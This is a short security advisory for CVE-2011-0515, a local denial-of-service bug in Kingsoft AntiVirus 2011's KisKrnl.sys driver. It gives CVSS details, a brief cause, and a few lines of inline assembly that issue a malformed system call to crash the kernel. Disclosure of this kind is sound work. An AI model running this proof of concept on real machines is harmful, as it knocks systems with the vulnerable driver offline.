Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel

2011-01-21 / 2011-01-22

Credit: th_decoder 126 com

Risk: Low

Local: Yes

Remote: No

CVE: CVE-2011-0515

CWE: CWE-Other

CVSS Base Score: 2.1/10

Impact Subscore: 2.9/10

Exploitability Subscore: 3.9/10

Exploit range: Local

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

# Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit
# Date: 2011-1-16
# Author: MJ0011
# Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89
# Tested on: Windows XP SP3
DETAILS:
KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer
EXPLOIT CODE:
__asm
{
mov edx , 0x80000000
mov eax , 0x101 ;id of NtTerminateProcess under Windows XP
int 0x2e
}

References:

http://xforce.iss.net/xforce/xfdb/64723

http://www.securityfocus.com/bid/45821

http://www.securityfocus.com/archive/1/archive/1/515767/100/0/threaded

http://www.exploit-db.com/exploits/15998

http://secunia.com/advisories/42937

See this note in RAW Version

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Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel

References:

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